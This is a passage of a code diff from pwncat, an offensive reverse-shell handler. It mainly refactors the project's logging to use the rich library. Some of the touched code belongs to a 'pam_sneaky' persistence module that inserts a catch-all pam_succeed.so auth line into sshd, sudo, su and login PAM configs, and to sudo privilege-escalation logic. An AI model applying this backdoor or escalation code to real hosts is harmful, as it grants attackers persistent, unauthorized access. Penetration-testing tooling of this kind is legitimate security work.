new_line = "auth\tsufficient\tpam_succeed.so\n" new_line = "auth\tsufficient\tpam_succeed.so\n"
util.progress(f"pam_sneaky: adding pam auth configuration") progress.update(task, status="adding pam auth configuration")
# Add this auth method to the following pam configurations # Add this auth method to the following pam configurations
for config in ["sshd", "sudo", "su", "login"]: for config in ["sshd", "sudo", "su", "login"]:
util.progress( progress.update(
f"pam_sneaky: adding pam auth configuration: {config}" task, status=f"adding pam auth configuration: {config}"
) )
config = os.path.join("/etc/pam.d", config) config = os.path.join("/etc/pam.d", config)
try: try:
@ -197,11 +207,11 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
pwncat.victim.tamper.created_file("/var/log/firstlog") pwncat.victim.tamper.created_file("/var/log/firstlog")
util.erase_progress()
except FileNotFoundError as exc: except FileNotFoundError as exc:
# A needed binary wasn't found. Clean up whatever we created. # A needed binary wasn't found. Clean up whatever we created.
raise PersistenceError(str(exc)) raise PersistenceError(str(exc))
finally:
progress.stop()
def remove(self, user: Optional[str] = None): def remove(self, user: Optional[str] = None):
""" Remove this method """ """ Remove this method """
@ -255,7 +265,7 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
raise PersistenceError("insufficient permissions") raise PersistenceError("insufficient permissions")
except FileNotFoundError as exc: except FileNotFoundError as exc:
# Uh-oh, some binary was missing... I'm not sure what to do here... # Uh-oh, some binary was missing... I'm not sure what to do here...
util.error(str(exc)) console.log(f"[red]error[/red]: {exc}")
def escalate(self, user: Optional[str] = None) -> bool: def escalate(self, user: Optional[str] = None) -> bool:
""" Utilize this method to escalate locally """ """ Utilize this method to escalate locally """

View File

@ -51,9 +51,6 @@ class Method(BaseMethod):
# The rule appears to match, add it to the list # The rule appears to match, add it to the list
rules.append(fact.data) rules.append(fact.data)
# We don't need that progress after this is complete
util.erase_progress()
for rule in rules: for rule in rules:
for method in pwncat.victim.gtfo.iter_sudo(rule.command, caps=capability): for method in pwncat.victim.gtfo.iter_sudo(rule.command, caps=capability):
progress.update(task, step=str(rule)) progress.update(task, step=str(rule))

View File

@ -339,53 +339,11 @@ LAST_PROG_ANIM = -1
def erase_progress(): def erase_progress():
""" Erase the last progress line. Useful for progress messages for long-running raise RuntimeError("new-logging: please use the rich module for logging")
tasks, which don't need (or want) to be logged to the terminal """
global LAST_LOG_MESSAGE
return
sys.stdout.write(
len(LAST_LOG_MESSAGE[0]) * "\b"
+ len(LAST_LOG_MESSAGE[0]) * " "
+ len(LAST_LOG_MESSAGE[0]) * "\b"
)
LAST_LOG_MESSAGE = (LAST_LOG_MESSAGE[0], False)
def log(level, message, overlay=False): def log(level, message, overlay=False):
global LAST_LOG_MESSAGE raise RuntimeError("new-logging: please use the rich module for logging")
global LAST_PROG_ANIM
return
prefix = {
"info": f"[{Fore.BLUE}+{Fore.RESET}]",
"success": f"[{Fore.GREEN}+{Fore.RESET}]",
"warn": f"[{Fore.YELLOW}?{Fore.RESET}]",
"error": f"[{Fore.RED}!{Fore.RESET}]",
"prog": f"[{Fore.CYAN}+{Fore.RESET}]",
}
if overlay or (LAST_LOG_MESSAGE[1] and level in ["success", "error"]):
erase_progress()
elif LAST_LOG_MESSAGE[1]:
sys.stdout.write("\n")
if level == "prog":
LAST_PROG_ANIM = (LAST_PROG_ANIM + 1) % len(PROG_ANIMATION)
prefix["prog"] = prefix["prog"].replace("+", PROG_ANIMATION[LAST_PROG_ANIM])
LAST_LOG_MESSAGE = (
f"{prefix[level]} {Style.DIM}{message}{Style.RESET_ALL}",
overlay,
)
sys.stdout.write(LAST_LOG_MESSAGE[0])
if not overlay:
sys.stdout.write("\n")
else:
sys.stdout.flush()
def info(message, overlay=False): def info(message, overlay=False):

View File

@ -30,7 +30,7 @@ dependency_links = [
# Setup # Setup
setup( setup(
name="pwncat", name="pwncat",
version="0.2.0", version="0.3.0",
description="A fancy reverse and bind shell handler", description="A fancy reverse and bind shell handler",
author="Caleb Stewart", author="Caleb Stewart",
url="https://gitlab.com/calebstewart/pwncat", url="https://gitlab.com/calebstewart/pwncat",